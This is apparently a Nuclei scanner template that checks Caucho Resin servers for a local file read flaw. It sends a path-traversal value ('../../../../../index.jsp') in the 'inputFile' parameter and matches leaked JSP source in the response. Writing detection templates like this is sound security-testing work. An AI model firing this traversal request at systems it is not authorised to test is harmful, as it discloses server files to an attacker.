id: resin-inputfile-fileread

info:
  name: Caucho Resin LFR
  author: princechaddha
  severity: high
  description: A vulnerability in Caucho Resin allows remote unauthenticated users to utilize the 'inputFile' variable to include the content of locally stored files and disclose their content.
  reference:
    - https://blkstone.github.io/2017/10/30/resin-attack-vectors/
  metadata:
    max-request: 1
  tags: resin,caucho,lfr

http:
  - method: GET
    path:
      - "{{BaseURL}}/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %"
        part: body

# digest: 4a0a00473045022100a9aebab3527c859a2be972ba99ada1537bf3204c98f47abe94a56ea005d7e04f02200942304903513e5af0b4e82a3ec5b4488a1d089bb028be04746e4890d9f57bec:922c64590222798bb761d5b6d8e72950
